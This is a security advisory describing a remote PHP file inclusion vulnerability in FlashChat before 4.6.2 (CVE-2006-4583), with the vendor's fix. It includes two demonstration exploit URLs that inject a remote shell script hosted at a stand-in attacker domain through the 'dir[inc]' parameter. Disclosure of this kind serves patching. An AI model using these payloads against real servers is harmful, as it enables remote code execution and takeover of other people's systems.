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Category:   Application (Instant Messaging/IRC/Chat)  >   FlashChat Vendors:   tufat.com
FlashChat Include File Bug in 'dir[inc]' Parameter Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016784
SecurityTracker URL:  http://securitytracker.com/id/1016784
CVE Reference:   CVE-2006-4583   (Links to External Site)
Updated:  Jun 8 2008
Original Entry Date:  Sep 4 2006
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): prior to 4.6.2
Description:   A vulnerability was reported in FlashChat. A remote user can include and execute arbitrary code on the target system.

The software does not properly validate user-supplied input in the 'dir[inc]' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

Some demonstration exploit URLs are provided:

http://[target]/[script_path]/inc/cmses/aedating4CMS.php?dir[inc]=http://evil.com/shell.txt?

http://[target]/[script_path]/inc/cmses/aedatingCMS2.php?dir[inc]=http://evil.com/shell.txt?

NeXtMaN reported this vulnerability.

A demonstration exploit is available at:

http://www.milw0rm.com/exploits/2293

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   The vendor has issued a fixed version (4.6.2), available at:

http://www.tufat.com/download.php

Vendor URL:  www.tufat.com/script.php?id_num=2 (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


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